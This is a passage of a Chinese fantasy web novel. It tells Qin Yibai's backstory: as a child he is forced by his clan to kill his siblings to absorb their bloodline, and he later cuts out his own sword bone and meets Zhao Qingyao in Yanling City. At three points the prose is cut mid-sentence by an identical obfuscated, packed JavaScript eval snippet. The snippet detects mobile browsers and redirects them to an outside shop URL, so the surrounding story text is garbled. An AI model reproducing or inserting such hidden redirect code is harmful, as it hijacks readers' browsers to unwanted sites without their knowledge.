刚刚就应该直接夺回身体的控制权回到现实,不该呆在这里想那些无关紧要的事情。 鬼才没有更多的危险!这个时候的秦倚白就是那个最大的危险。 “不放。” 秦倚白收紧了双臂,直接向前走去:“等你自己走回去,天都亮了。” 她如一条才被捞出水的、在岸上活蹦乱跳的鱼,几乎是用尽了全身仅剩的力气在他怀中挣扎。 却偏偏被抱得异常之紧。 习剑之人的体能往往比其他修行者要好上很多,秦倚白也并不例外。 即便平日里看着是清隽矜贵的模样,但手上的力气绝对不会含糊,将她死死地控在怀里。 她一边挣扎,一边顺着他的手臂和肩背一通乱摸,试图寻找一个可以让她逃跑的弱点,但一路感受下来,却只能摸到发力时硬邦邦的肌肉。 这样不行。 她重新调整目光,落到他露出半截的修长脖颈上,若有所思。 她刚才清楚地瞧见,在她于他的身上一通乱摸时,那里的喉头明显地滚动了一下。若是直接用利器捅穿…… 秦倚白似乎是感受到了她带着过多杀意的目光,停下了脚步。 “你大可以试试。”他十分平静地说。 赵轻遥识时务地收回了这个想法。 其实最主要的是,她现在是在一具才身受过重伤的躯体里。挣扎得凶了,便会牵扯到脏器上还未完全修复好的内伤。 痛。 身体健康,方有一搏之力。若此刻真得动起手来,那结果是显然易见的失败。 前世的她大约也是这样想的,所以直接选择了放弃挣扎。 刚刚动得太凶,惹得脏器上的内伤痛来了一波又一波。如今已经没有动了,但那波痛却还未停息。 她死死攥住手中的衣袖,极其轻微地喘息着,却能感受到额间绵密的细汗不断冒出。 不用多想,便能猜到自己如今的模样有多狼狈。 秦倚白应是也注意到了这一点,眼眸一抬,一张细腻柔软的天蓝色绢帕便直接出现在了半空中。 赵轻遥自然也看到了。 她眨着双眼,不动声色地任凭着那条悬浮着的绢帕向她靠近。却又在绢帕即将要触碰到她额头的瞬间,猛地一扭头,将头埋在在秦倚白胸前,狠狠地擦了两把。 做不了别的,但她总要做点什么让他不舒服的事情才好。 心中畅快了那么一瞬。只是隔着夏日轻薄的布料,她却莫名听到另一个人加剧了几分的心跳。 绢帕无声落地,像极了一只颤颤巍巍的蓝色蝴蝶。 “我的血对外人的作用是有限的。内伤长好需要些时间,痛的话就别乱动了。” 秦倚白盯着胸前的水渍,眼眸一沉,淡淡开口: “除非你是为了再吃一次,故意把伤口弄裂的。” 赵轻遥转过脸去装没听到。 都是些她此生不愿再回想第二遍的事情。 “你刚刚对我说的话,我有仔细地想过了。只是在回答你的问题之前,我尚有一个疑惑。” 他抱着她继续向前走去,脚步并未停歇。只是淡漠的语气中,却凭空滋生出几许阴郁来: “你是什么时候和秦家结下的仇?” 赵轻遥一愣。 她有想过秦倚白会解释、会狡辩、会说一些其他的话来装傻转移话题。但无论如何,她也没想到秦倚白会问出这句话来。 “你难道不知道你的体弱之症是怎么好的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281098|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我没得过体弱之症,也没生过病。” 赵轻遥从未感受到如此哑口无言的时候,就好像一拳打到了棉花上。满腔的震惊和不解化为了熊熊燃烧的火气,却始终找不到一个发泄出的口。 “那你知道我是谁吗?”她有些不详的预感,不由得重新换了个问题。 良久,她才听到秦倚白缓缓开口:“在今夜之前,我只知道你是一个和我曾经很像的、失去过剑骨的师妹。” “明明已经拿不起了剑了,却不惜伤害自己也要和我比一场。” “正是因为其他的一概不知,所以才有点好奇。特意关注了一下你的动向,想看看你神神秘秘地要去做什么。” 他注视着她瞳孔陡然放大的双目,忽然温和地笑了一下,继续慢悠悠地说了下去: “但是现在,已经能猜个大概了。” “你觉得我说的对吗?轻遥师妹。” “如果你不太喜欢这个称呼的话,我也可以叫你别的。比如说……洛家那位人人都不让提的夫人?” * 赵轻遥猛然睁眼,重重地深呼吸了几口。 明镜花清甜的气息还残留在空气中,手中的流光蝶已然消失不见。虽已从那场近乎噩梦的回忆幻境中出来,但却她的身体还在抑制不住地颤抖。 “你这是怎么了?”系统慵懒的声音于耳边响起:“就算屋里没你想见的人,也不用这么激动吧?” 回忆幻境内的时间和外面的时间不同。看来陷入回忆幻境之事,这个东西并不知情。 赵轻遥眼光极快地扫了一遍屋内。郑玄的头颅已经连同着地面上的血迹消失不见,干净得像从没有人来过此处。 她眼眸微沉,努力平复住狂乱的心跳,重新露出了一个遗憾的微笑:“我是有点难过,没想到他不在这里。” 不止是因为这个系统,她还有太多想问秦倚白的事情,必须要及时地找到他。 但在找到他之前,赵轻遥得先做一些准备。 “万华之眼可还有什么功能,有没有什么办法可以让我找到他?”她左右翻看着万华之眼的界面,佯装不经意地开口询问道。 从一开始系统附到她身上时,她就注意到了一堆花花绿绿界面的最上端,有一列闪烁着的物品大全。 系统凉凉开口:“你大可以翻翻看。要找人,光靠万华之眼可没用。若真想让我帮忙,不如早点让我入你的识海,你就可以用积分兑换……” 又开始了。 只要一提到进入她识海之事,这个系统就开始变得喋喋不休,吹嘘自己的功能不说,还要用上不少的言灵来试图控制她。 精明人不要演,但演一个被言灵控制住的傻子,还是轻而易举的。 这是赵轻遥装傻的最好时机。 她目光放空地点着头,似认真聆听着系统所说的话。实际上,却正在以一股近乎疯狂的速度用意识翻阅着面前的物品大全。 在哪里,在哪里,到底在哪里。 “……所以依我来看,你还是尽快与我合作为妙。”系统结束了一段长篇大论的劝说,似乎满意极了。 赵轻遥也满意极了,她借着这个倒霉东西,找到了她想要知道的事情。 “情蛊。”她在心中默念着这两个字,嘴角露出了一个微笑。 35.过往(一) 夜幕沉沉坠下,黑浓得快要滴出墨来。 鲜红色的明镜花瓣如雨纷纷,似一朵朵绽放的血花。清甜而迷离的香味入人鼻息,让人忍不住回想起更多的往事。 秦倚白垂眸望向眼前的黎明珠,试图压制住心中那股喷薄而出的杀意。 口中甜腻的血腥味一波又一波地蔓来,长久而尖锐的耳鸣中,他甚至没有听清黎明珠究竟回答了他什么。 汹涌而蓬勃的魔气在的体内奔腾流淌着,侵袭着本该存放着至纯灵气的十境天脉,也吞噬着他仅剩的理智。 明镜花的香味不断地侵入肺腑,近乎崩溃的神识与花香搅和着在一起,他眼前的一切也开始变得格外模糊。 他的记忆不断地向后倒退着,倒退着,退到了一个退无可退的地步。 * 秦倚白最初不叫秦倚白。他从一开始,就是没有名字的。 不止是他,秦家的所有孩子,拥有的都只是一个代表年龄顺序的序号。 回忆中的画面开始从模糊变得清晰。柔和的阳光倾下,眉目与他七八分像的少年捧起了鲜红的花束,尚且稚嫩的面庞上浮现出了欢欣的笑意: “十八,你快过来看看。我给阿娘摘的花好看吗?” “好看是好看。可是十五……我们之前送去的花,阿娘看起来都不是很喜欢。她会喜欢这次的花吗?”年幼的秦倚白拉着少年的衣角,谨慎地探出了头。 他是阿娘的第二个孩子,也是十五唯一的弟弟。 排行十八,所以也就叫做十八。 两个世间绝无仅有的天才身上流着一样的鲜血,性格却与截然不同。 十五的眉目尚且稚嫩,却过早地透露出了隐隐的意气与张扬: “这花叫明镜花,是我偷偷去夫人的惜雨楼外摘的,和我们之前送的那些都不一样。阿娘闻了它的香味,就能回想起来那些让她高兴的家乡事了。” 十八年幼,但却在听到此话后,脸上却挂上了少有的紧张神色:“你还敢去惜雨楼?夫人一旦发现,她会不高兴的。” “她哪里会管这么点小事?十八,你难道还不相信哥哥我的实力吗?” 十五洋洋得意,呲着牙绽放出了一个灿烂的微笑:“等我成了秦倚白,那我们还不要什么有什么。到时候保证让你和阿娘吃香的喝辣的,啥都不用管。” 秦家的少主只会有一个。 他或者她只能是夫人的孩子,秦姜两家的血脉,名字也只能是秦倚白。 听说,这是早在秦姜两家联姻的当日,就定下来了的规矩。 但夫人自己不生孩子。 所以源源不断的侍妾便这样被送到了秦家。上至天脉境界不错的修者,下至貌美温柔的柔弱凡人。她们所生的孩子中,会有一人成为秦倚白。 他们的阿娘,就恰巧是后者。 所有人都说她的命好。一个凡人,能成为秦家的妾室,还能接连生出两个生来便带有天脉和剑骨的孩子,是上天赐予她的恩典。 但阿娘美丽而温柔的眉眼间却总是带着愁容。 侍妾和没有被赐予名字的孩子不可与外人会面。恰巧,她也不喜欢在内宅中走动。 分配给她的住所地势很高,站在窗边望去,倒瀑下坠星湖,就像一面闪闪发光的明镜,格外美丽。 看着坠星湖发呆,变成了阿娘最常做的事情。 只有极偶尔心情好一些的时候,会给他们讲一讲曾经的故事。 “我的故乡是雁铃城。雁铃城地处东州,是一座很普通的小城。唯一出名的,大约就是赵家炼心阁所出的天下名兵——” 她想了想,眼中泛起了缥缈的笑意: “和夏天火红的凤凰花。” 十五嘴甜,反应也比十八快上很多。他与阿娘如出一辙的漂亮眉眼弯起,立马接上了她的话:“那等我之后成为秦倚白了,我一定要在这里给阿娘种满凤凰花。” 十八跟着点头。 那是他一生中少有的幸福时刻。 秦家的孩子中不缺天才,但十五却是天才中的天才。十八是真的无比地确信,十五会在即将到来的试炼中战胜所有人,成为他梦寐以求的秦倚白。 但是后来,十五死了。 是十八亲手杀的他。 在进入父亲为他们亲手布下的试炼幻境前,没有一个人曾告诉过这些没有名字的孩子背后的真相—— 他们身上流着的是上古神的血脉,生来便可拥有比肩昔日神魔之力。但经历过千万年的传承后,这份血脉的力量早已变得稀薄无比。 仙灵界中弱肉强食,只有胜者才配说话。秦家,正在以一种隐晦的方式走向衰亡。 他们需要创造一个可以被人控制的神,带领他们重新走向巅峰。 所有侍妾在到来秦家前,身上都被施加了极为隐秘的禁术。这样一来,她们所生下的孩子便能拥有吞噬之力。 只要杀掉与自己血脉相通的兄弟姐妹,就可以吞噬掉对方的力量,提炼出纯净无比的神力。 没有名字是一件再正常不过的事情。 上一个“秦倚白”让秦家不满意后,下一场试炼便会开始。每一场试炼下来,存活的都只能有一个人。 大部分人都会在试炼中很快死掉。过于短暂的生命,是不需要名字的。 十五死得很潦草。 他向来热情开朗,和兄弟姐妹们打成一片,以为这只是个普通的试炼而已。直到吞噬的秘密暴露,看似普通的试炼变成一场互相残杀。 平和善良从来不是一件坏事。 只是在试炼场外,好脾气的天才是招人喜欢和讨好的兄弟;但在试炼场内,好脾气的天才便成了一块人人都想啃一口的肥肉。 几个人连起手来,欲置十五于死地。 他被十八狼狈地救下,仓皇逃跑成功,却也身受重毒,命不久矣。 “我想死在你的手上。”他躺在茅草堆上大口喘着气,却尽力地对着十八扯出了一个微笑:“至少,我能为你最后再做一些什么。” 利器穿透十五的心脏时,十五的脸上还挂着未曾消散去的笑容。 喷溅的血雨洒十八满身满脸,有些糊住了双眼。十八伸手去擦,才发现自己的泪水混着十五的鲜血一起,滚滚而落。 他杀的第一个人,便是自己的亲哥哥。 有了第一个,便会有第二个、第三个、第四个…… 有偷偷教他怎么去采惜雨阁外明镜花的十三,有曾经和他打过架的九,有在试炼中嘴里还不忘含着一块糖的的二十三…… 维持三个月的试炼结束时,他木然地站在一地横七竖八的尸身前,漆黑的眼珠转也不转,被人强行带出了幻境。 秋日里温柔和煦的阳光洒在他的脸上,他却只觉得被十五的鲜血溅过的地方,痛得出奇。 十八拥有了新的名字,被人唤作秦倚白。 他没有见到阿娘的最后一面。 “我只问你一句,十五是不是被你杀的?” 往日里对他温柔敞开着的门在此刻紧闭着。秋雨打湿过的台阶湿滑,满地落英无人清扫,碾落成泥,凌乱地堆在漆黑的阴影中。 他想跪在门前认错,却又被身后紧随的逐影紧紧捆住膝盖,不得动弹半分。 此时年幼,唯有受人桎梏。 “您已经是秦家的少主了,再在这里跪着,不合规矩。”逐影的嘴边扯出了一个笑,拍了拍他绷紧的肩膀。 秦倚白被人牵制着,目光却始终落在阿娘的房门前。心中憋闷的酸意似藤蔓般层层上叠,眼眶却始终干涸。 十五走的时候,大约把他的泪水也一同带走了。 “是。” 他周身抑制不断地开始颤抖起来,声音却努力保持着平静:“阿娘,可我也不想的,我……” “滚吧!你不配当我的孩子。” 阿娘突然放声大笑起来,笑声凄厉,划破云霄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338060|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是一只泣血的鹤: “都是骗子!骗子!你身体里流的秦家的血,和你父亲一样的肮脏不堪。” “你早晚会成为和他一样的人。” 这句话落入他的耳中,恍如一个未知的诅咒。 成为和父亲一样的人,然后再重复这一代的悲剧吗? 秦倚白想争辩,想反驳。麻木的愤怒和委屈褪去,剩下的却是惊慌失措的悔意。 他的这条命,不就是踩着兄弟姐妹的尸骨踏上来的吗? 既然如此,他就应该随着十五一同死掉。 但直至被逐影捂着耳朵和嘴拽走时,他都没来及得将这些话宣之于口。 第二天,便听说了阿娘的死讯。 她用最原始的方式结束了自己的性命。谁也没想到,明镜花的花茎可以编织成一条长长绳索。她的脖颈套在这股能让她想起故乡的花香中,平静地坠下。 此后的时光如流水般逝去,三年又三年。 他听闻仍有新的侍妾被暗中送入秦家,仍有没有名字的孩子接二连三地诞生,随时预备着取代秦倚白的这个少主身份。 外界只知秦家有个叫秦倚白的少主体弱多病,多年来未曾见过外人。为了治病,便连年龄也被冻龄过多次,变得模糊不清。 秦倚白也是后来才知道。即便是坐上了少主的位子,在秦家内也是要分三六九等的。 他是凡人所生之子。虽过试炼,但因他的出身而瞧不起他的人,并不在少数。 逐影便是其中一个。 以逐影为首的许多人,都认为他和之前的人一样,只是暂时坐上了秦倚白的位子,根本没有把他放在眼中。 他人不在时,怠慢、责罚、侮辱……都是再小不过的问题。 秦倚白不在意这些,得过且过地活着,将这一切视为自己杀死那么多人后该有的报应。 他本来就该过得凄惨又不幸福。 只有自己过得不好,他才能勉强压下心头跃动的悔恨与痛苦。 直至十五岁那年,他悟出了上古剑法的第三十七式。 秦肆似乎对这个结果很满意,看了又看,最终叫停了那些源源不断送来秦家的侍妾。 “你离坐稳这个位置,还有最后一关。” 他拍了拍秦倚白的手,意味深长地笑着说:“你既悟了道,又有剑骨在身。等过了这一关,到时候明年的剑道大会,你总得去一趟才行。让他们都看看,我秦家的后人有多厉害。” 最后一关,是榕树下宏伟的地牢内。 没有名字的孩子,接二连三地挤在一起,像一团团瑟瑟发抖的小鸡仔。 那些都是他的弟弟妹妹们。 他们不知道他是谁,却用着恐惧和哀求的目光看着他,叽叽喳喳地开口问道: “哥哥,我们什么时候能出去呀?” 秦倚白绷着脸走到了他们看不见的转角处。下一刻,他便握着剑跪到地上,几乎是控制不住地干呕了起来。 恶心、悔恨、痛苦、迷茫…… 最终汇聚成凛冽的杀气。 他想杀掉地牢外秦家的所有人。 试炼时的噩梦扑涌而来,将他缠住,不断地向下坠入。好像这样残忍的事情,有了一次就会有二次,有了二次便会有三次。 只要秦家存在一日,只要父亲还活一日,他就会一日活在这样的痛苦中,当一只提线木偶。 汇在他的体内的每一滴至真至纯的上古神族之血,都来自于他的骨肉至亲。 “就算你不愿意杀他们,他们也是会死掉的。死去的冤魂困在榕树内不得投胎,终成妄鬼。” 有人隔着牢狱的层层树枝呼唤他,声音缥缈而疲惫。 “你是谁?” “你的某一位姐姐。”朝他挥手的少女回答得很是干脆:“非要说的话,就是在你之前的那个秦倚白。” “但我现在重新给自己取了一个名字,你也可以叫我海玉。” 36.过往(二) “你敢保证,你说过的每一句话都是真的?” 这句话是用神识说的。 赵轻遥推开有些被火烧得焦黑的房门,向外走了几步,才有些后知后觉。 回忆幻境并没有维持太久,小织的故事才讲了一大半,她就被传送了出来。 糊弄完身边虎视眈眈的系统,查到了情蛊的使用方法后,她突然意识到,自己可以在识海中用神识与小织对话。 就像当时用神识和秦倚白对话那样。 神识间的谈话不必出声,她慢吞吞地向外走着,心不在焉地搜寻着秦倚白的踪迹。面上没有什么太多的表情,心中却如惊涛骇起、摇晃不定。 只是这个故事信息量太大,她听完只觉得脑中混混杂杂一片,甚至一度怀疑自己听错了什么东西。 秦家怎么会丧心病狂到这种程度,会对自己的孩子下手? “如果我说的有一句假话,我主人今晚必暴毙。” 小织坚定的一句毒誓语出惊人,把赵轻遥噎得不知道说什么为妙。 她虽然嘴上念着想杀他,但若是秦倚白真的暴毙在她面前…… 对她也没什么好处。 罢了罢了,赵轻遥泄气地想。 她现在本来就是要去救人的。救目前大约已经被妄鬼带来的魔气侵蚀到快要失去理智的秦倚白,也救被系统缠身不敢妄动的自己。 只是从她听完这个故事后,不知从冒哪里冒出来的一口闷气,莫名其妙被憋在了胸腔中。 她抬手抚上胸口,才觉得心脏处酸胀得出奇。像是心中凭空生出一只猫爪,不断地抓挠着。 那种感觉像是愤怒、像是厌弃、又像是说不出难过。她的整个心仿佛都湿淋淋地坠入了水中,哗啦出水时,连带着将那些对待秦倚白的敌意洗掉了许多。 秦倚白有句话说的没错。 他们在某些方面,是很像的人。至少倒霉程度上异常地相似。 她突然有种想要穿越回前世再砍一次秦肆脑袋的冲动。 “他遇到了海玉,然后呢?”赵轻遥压下这股突如其来的冲动,继续问道:“那些弟弟妹妹们有活下来吗?” 小织这次久未回答。 许久之后,清脆的童音才重新响起,却带着一股令人不寒而栗的意味: “想要在秦家活下去,就要一定抛弃掉所谓的道德感和羞耻心。若是没有完全抛下,便只剩两条路可选。要么死掉,要么疯掉。” 声音顿了顿,竟带上了几分顽皮之意:“你觉得他是前者还是后者呢?” 赵轻遥呼吸一滞:“你不是小织?” “哦,你说那个小家伙?刚刚是他来着,只是换成我了。” 童声懒洋洋地开口,似是刚睡醒一般:“重新认识一下吧,我现在的名字叫海玉。你的那位倒霉师兄、我的倒霉弟弟,就是接了我的倒霉位子。” “他现在不是我师兄。”提到此处,赵轻遥便不受控制地侧过头去,微微绷紧了脸。 海玉轻笑了一声:“随便吧,他和小织之间说的话我反正也都能听到。你们上辈子都是了,这辈子也未必不是。” 未必不是,却也未必要是。 赵轻遥不想再继续这个话题:“你之前不是在地牢里被关着吗?现在为什么会在一个灵傀的身体里?” “这身体里挤着的又不止我一个残魂。他的那个叫十五的亲哥,也和我挤在一处。只是我死得晚,魂魄的状态比十五要好上很多,所以能偶尔控制小织的身体说上那么一两句话。” 海玉的语气稀松平淡,仿佛死去对她来说是一件很轻松的事情。 灵傀的性格往往和主人有几分相似。赵轻遥之前就十分好奇,像秦倚白这样脑子不笨的人,为何养出来的灵傀会是一个感觉不太聪明的小孩子。 她从未想过是内外失衡。 灵傀的制作最是讲究一个平衡,强对强、弱对弱方得圆满。 小织的外在是用脆弱的丝线作为伪装,内里却又是用流光蝶滋润着两个强大的残魂。 内外相冲,可不就成了一个小笨蛋了吗? 赵轻遥犹豫了一下。 她虽不会炼器,但好歹略懂一些理论上的东西。等离开试仙峰后,可以拜托阿娘把小织拉去炼心阁改造一下。 但细细想来,又觉得有些奇怪。 她干嘛要去管秦倚白的灵傀? 他又没给她钱。再说了,现在的炼心阁也又不缺他那点钱。 赵轻遥心中嘀咕着,及时打住了自己越飞越远的念头,转而继续专注于识海中的声音。 “我也挺好奇我为什么会留一缕魂魄在这里。你师兄杀人的手法不错,一剑穿心,我都还没来得及感觉到痛,人就没了。” “等等,这个所谓的最后一关里,要杀掉的人是你?” “本来就该是我,这是一直以来的规矩。我身上的血脉积累的也不少,不被人杀了利用起来,岂不可惜。” 海玉打了个哈欠,声色开始变得有些疲惫:“只是我有点不甘就这样死去,想找些垫背的。就骗了那小子一骗,就是没骗到罢了。” “我不太理解。既然是这样的话,那过关的标准是什么?”赵轻遥有些听不懂了。 这样的安排属实奇怪。 按照常理来说,秦肆肯定是希望秦倚白能吞噬掉更多兄弟姐妹的力量,才将那些没有名字的孩子一同放进来地牢。 秦家上下已经逼着秦倚白杀了那么多人,难道现在又回来还要考验他的道德水准不成? 海玉的声线很冷,带着几分恨铁不成钢的意味,哼了一声: “换做我是他的话,地牢中的一只苍蝇都逃不掉。但他若真的这般冷酷无心,那个老东西就马上就会去开启下一场试炼了准备换人了。” “秦家是在挑选实力强大、不违抗父亲的指令、但内心还没有完全抛弃掉心中那一丝丝善念的孩子。” “这样的人的确是最好掌控的那一类。但他们肯定没有预料到……” 海玉突然大笑了起来:“往日里最温顺平和的人,是最容易发疯的。” “毕竟这类吞噬他人血脉的秘术,本身就来自于魔道。一旦道心破灭,入不入魔道成不成魔修的,只是时间问题罢了。” “他可真是我的好弟弟!我真是恨我没像你们这样重生,没有看到他所说的上一世秦家覆灭的样子!” 赵轻遥什么也没有说。 她觉得心中闷得难受。 识海中的笑声太过于的癫狂,震得她的整个头都在嗡嗡作响。海玉笑得上街不接下气,持续了许久才逐渐停歇。 “看在这个份上,我再给你一点建议吧。你要是想去救人,还是趁早为妙。” “死在秦家领地上的人,魂魄和神识是没有办法前往忘川河投胎转世的,而是会被一直困在这里。久而久之,每座府邸的地下就堆满了妄鬼。” “他如今怕是因为感知到了妄鬼被放出,心中再生愧疚,从而导致的走火入魔。” “以我对主家的了解,他们可是很快就会赶到这里的。到时候他要是被主家强行了带回去,麻烦可就大了。” 赵轻遥骤然抓紧了衣袖。 她其实已经想好了该怎么做,但心中还是有那么些许不情愿的。 可在两个人的困境面前,这些不情愿又算不得什么。 “我现在就去。”她用神识回应了最后一句话后,径直向着明镜花的花香的飘来之处奔去。 她有预感,秦倚白一定在那里。 * 杂乱不堪的记忆还在继续飘荡。 十五、地牢、海玉、榕树,眼前的一切事物都被融上了血色,却又开始变得极为扭曲和模糊。 秦倚白仍无法控制住自己的意识向何处飘去。 天地之间,骤然下起漫天飞雪。世间万物沉睡在一片冰冷到极致的灰白中,不见半分生机。 细碎的雪粒慢悠悠飘来,又被风卷着颤颤巍巍落入眼中,一阵寒凉刺痛。 他的回忆再次陷入了混沌。 地牢中,他很快便意识到,叽叽喳喳的弟弟妹妹们是个幌子。真正的最后一关,是吞噬掉海玉。 因为她的血液中,也有着不输于他的神族之力。 秦肆不会选择一个无差别吞噬孩子们的人。因为一个过于残忍的人,他是无法掌控的。 就像海玉一样。 他已经不记得,自己最后是如何走出的地牢的了。 从那一天起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369776|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的精神已经被完全摧毁。世界在他的眼中失去了昼与夜、冬与夏的差别。 他的血液吞噬了来自无数人的微末神族之力,开始有了细微的变化,拥有了可治愈万物的能力。意识却时而清醒时而模糊,分不清现实与梦境的差别。 他有时觉得自己疯了,总是认为十五和母亲还在;有时却又觉得自己无比清醒,一定想要向秦家复仇。 只是一个连真正的名字都没有的人,总是难以记住自己曾经是谁。 只有血液的味道,方能让他更加安稳一些。 他厌恶自己鲜血内来自秦家血脉的奇异香气,却又无比地依赖它。手腕上的疤痕层层叠叠,却都会很快地愈合。 秦肆对着外界承认了他的身份。他是多年来无数的牺牲品中,第一个被世人所见到的秦倚白。 但秦家的造神之说既已初见成效,那这场屠杀便会一直持续下去。 正如海玉所说,他们都不会是最后一个秦倚白。 但至少在他没犯大错,秦家又未找到下一个合适的人选前,他不会被人随意地替换掉。 他过上了十五曾说的那种锦衣玉食、万人憧憬的好日子。世间的最美好的一切轻飘飘地落在了他的身上,又变成了重重的枷锁。 他戴上了秦家为他制作的完美面具,却又在摘下面具时忍不住痛苦的蜷缩和呕吐。 剑术始终在原地停滞不前,无法有更多的精进。 清醒的时间开始变得越来越少,他对自己体内灵气的厌恶与痛恨已经无法控制。每每拿起剑时,他都在努力控制住胃中烧灼般的恶心。 冬日的最后一场雪落下时,是秦倚白难得的清醒时候。他望着窗外的雪静坐许久,突然意识到,自己已经没有剑心了。 他其实就是不应修道的。 修道、习剑、成为秦倚白,那都是十五遗留给他的梦想。他最初的剑心早就在他杀掉十五的时候,就开始悄悄长出了裂纹。 他每用剑杀一个人,那道裂纹便更深一些,直到碎无可碎的地步。 偏偏他还拥有着剑骨,象征着生来便有世间最强剑道天赋的剑骨。 他根本就不配做剑骨的主人。 剑骨引诱他拿起剑,剑心却逼迫他放下剑。他摇摇欲坠的道心夹在其中,举步维艰。 是入魔之兆。 修魔还是修剑,对秦倚白来说,没有什么太大的区别。魔修和剑修,从本质上来说,都是修行而已。 况且他早已做出了比魔修残忍百倍的事情。 可他不在乎,不代表秦家不在乎。只要他还想向秦家复仇,便绝不能此时入魔。 窗外的风雪摇晃不歇,带着深冬独有的森然寒气。 他对着屋内摇晃的烛光,在伤口自动愈合前,一剑一剑,亲手剖出了自己的剑骨。 痛苦的记忆太多,好像身体上的痛也算不得什么了。 剑骨之物,本是上天给予天才的恩赐。一旦被这样野蛮的方式去除,就再也没有办法接回去,原宿主也基本上便不能拿剑了。 只要一动剑气,便会忍受经脉破碎、剜心刻骨之痛。 天脉高者尚且还能周转灵气压制住疼痛,天脉低者若强行使用剑气,则可能会有性命之忧。 剜出剑骨,是神族之血也难以治愈的重伤。 等秦肆发现时,一切都已经来不及了。 剑骨之伤需修养半年,秦倚白没有参加这一年的剑道大会。他知道秦肆已经在明目张胆地按照他的模子在培养下一任秦倚白了,但似乎始终没有一个满意的答案。 毕竟现在不比从前,他已经在世人面前露过面了。 再培养一个人,需要留出足够多的时间和制造出足够完美的谎言。 在此之前,秦肆不得不忍让他。 秦倚白很乐于见到这个场面,这些时间,可以让他做足够多的事情。 剑道大会结束那一日,试仙峰远远地有消息传来,说这次夺得魁首的,是个来自于雁铃城的凡人天才。 名叫赵轻遥。 秦倚白在祠堂跪了小半日,眼见着秦肆绷着脸从他的面前走过,突然萌生去雁铃城看一看的想法。 他想去看看,新一届的剑道魁首究竟是何模样。 37.过往(三) 养伤的这半年,倒让秦家放松了对秦倚白的桎梏。赵轻遥夺魁之事一出,秦肆更是不想和秦倚白说一句话,直接把他叫去了祠堂闭门思过。 秦倚白并没有做太多无谓的挣扎,他向来擅长于装成秦肆想看到的模样。 只是在祠堂待了两天,便寻到了一个合适的机会径直离开了中州。 秦家的高墙拦得住一个弱小的孩童,却拦不住一个长高了的少年。 他不愿用灵气赶路,从中州到雁铃城的路程说不上远,但也算不上什么近。 等他赶到雁铃城时,最后一缕温柔的暮光已缓缓坠下。天色完全暗下后,只消一瞬,无数的孔明灯从城内摇摇晃晃地飞出,周身荡漾着如火般的明亮暖色,摩肩擦踵地朝着天际飞去。 城门处噼里啪啦的鞭炮声紧跟着响起,满城的欢声笑语几乎外溢了出来。 唯有他是那一抹格格不入的色彩。 秦倚白戴稳头上的黑色帷帽,向着城门内走去。雁铃城不大,街道的两侧高楼间牵起了绳,高悬着一些形状各异的花灯,倒显得四处夏意盎然。 璀璨明亮的灯光下,他第一次见到了母亲所说的凤凰花。 火红、灿烂、勃勃生机。一团团地簇拥在枝头,被微风一拂,便好似一团团跳动的小火苗。 他整个人如被定住一般,站在高楼间的黑暗中,保持着仰头的姿势望了光明处的花许久。直至身后的喧闹声缓缓退散,他才意识到体内剑骨缺失的地方正在发疯般作痛。 翻腾的灵气在体内流窜。他沿着墙壁缓缓坐下,突然又觉得眼前的世界开始变得空蒙。 摇曳的凤凰花从十五的胸腔中流出来,灌入兄弟姐妹们心口狰狞的剑伤中,又缠绕在母亲脖颈上,化作一条深深的勒痕。 最后,变为剖出剑骨那夜时,流淌满地的鲜血。 他将脸藏在帷帽的黑纱之下,控制不住地开始颤抖。剑心已碎、剑骨已失,本就摇晃不定的道心再次在此刻战栗了起来。 时间似乎变得很短,又变得很长。不知过了多久,有轻盈的脚步声逐渐靠近,最终蹲到了他的面前。 “你这个人真是奇怪,今夜来了雁铃城不去领红包、不去看花灯,在这里躲着做什么?”来人似乎很是不满地问道。 她的吐息中带着山楂糖球酸甜芬芳的气息,为本就清爽干脆的声线带上来几分凉凉的甜意。 秦倚白缓缓睁眼。 下一刻,他便窥见了一双明净通透的双眼。 狭长的眼尾微微上挑,夹杂着一股亮如剑尖的凌厉之意。本似一双不好亲近的夜空寒星,却偏偏携着一股浸染了滚滚红尘之息的骄蛮意气,又让这双眼回到了人世间。 他剑骨已除,其实应已不太能感受到同怀剑骨之人的气息。但此刻,他却仍然嗅到了围绕在她周身的那股锋利而澄明的强大剑意。 仙灵界从不缺大大小小的能人。但若欲在任意一项修行之道上攀至顶峰,天赋和心气,二者皆是必须之物。 有天赋却无心气,则高峰难攀;有心气却无天赋,则歧路险难。很多人苦修多年,也未必会有很好的成果。 可眼前的这位与他年纪相仿的少女,却轻而易举地怀揣着这两样让旁人眼红的东西。 剑骨与剑心,她一样都不缺。 如果不出意外的话,她未来注定会是那个攀至顶峰的绝世天才。 